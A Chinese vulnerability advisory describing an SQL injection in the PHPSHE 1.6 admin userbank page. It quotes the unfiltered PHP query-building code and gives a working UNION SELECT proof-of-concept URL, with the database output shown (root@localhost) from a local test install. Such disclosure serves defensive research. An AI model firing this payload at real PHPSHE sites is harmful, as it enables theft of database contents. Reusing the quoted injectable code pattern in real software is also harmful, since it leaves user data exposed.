

PHPSHE 1.6 userbank sql注入

##漏洞描述## PHPSHE商城系统是将商品展示、在线购物、订单管理、支付管理、文章管理、客户咨询反馈等功能相结合，为用户提供了网上商城建设方案。PHPSHE开源商城系统userbank页面存在SQL注入漏洞，由于系统未能对用户输入的参数进行严格过滤。攻击者可利用该漏洞获取数据库敏感信息。

##漏洞分析

www/module/admin/userbank.php 文件 存在漏洞

```
default:
    $_g_name && $sqlwhere .= " and `user_name` like '%${$_g_name}%'";
    $_g_tname && $sqlwhere .= " and `userbank_tname` like '%${$_g_tname}%'";
    $_g_num && $sqlwhere .= " and `userbank_num` like '%${$_g_num}%'";
    $_g_type && $sqlwhere .= " and `userbank_type` = '${$_g_type}'";
    $_g_user_id && $sqlwhere .= " and `user_id` = '${$_g_user_id}'";
    $sqlwhere .= " order by `userbank_id` desc";
    $info_list = $db->pe_selectall('userbank', $sqlwhere, '*', array(50,
    $_g_page));

    $tongji['user'] = $db->pe_num('user');
    $tongji['useraddr'] = $db->pe_num('useraddr');
    $tongji['userbank'] = $db->pe_num('userbank');
    $seo = pe_seo($menutitle='收货地址');
    include(pe_tpl('userbank_list.html'));
break;
```

username, userbank_tname, userbank_num, userbank_type 参数没有进行过滤直接进入sql语句导致注入漏洞产生。

漏洞证明：

```
http://127.0.0.1/admin.php?
mod=userbank&name=&num=123'+union+select+user(),2,3,4,5,6,7,8,database()#&tname=
&type=
```

mysql_fetch_row() expects parameter 1 to be resource, boolean given in D:\phpStudy\WWW\include\class\db.class.php on line 42

Function	Location
4(main)()	...\admin.php:0
4(include('D:\phpStudy\WWW\module\admin\userbank.php'))	...\admin.php:76
0(\$db->pe_selectall())	...\userbank.php:47
8(\$db->sql_selectall())	...\db.class.php:135
8(\$db->sql_num())	...\db.class.php:87
6(\$db->fetch_row())	...\db.class.php:127
8(mysql_fetch_row())	...\db.class.php:42

统

概况 模板 统计 备份 缓存 页面 退出

会员列表 (1) 收款账户 (0) 收货地址 (0)

用户名: 123' union select user(), 收款帐号: 收款人: = 账户类型 = 搜索

<input type="checkbox"/>	ID号	用户名	账户类型	收款帐号	收款人	添加日期	操作
<input type="checkbox"/>	root@localhost	phpshe	2	3	5	1970-01-01 08:00	修改 删除

☐ 批量删除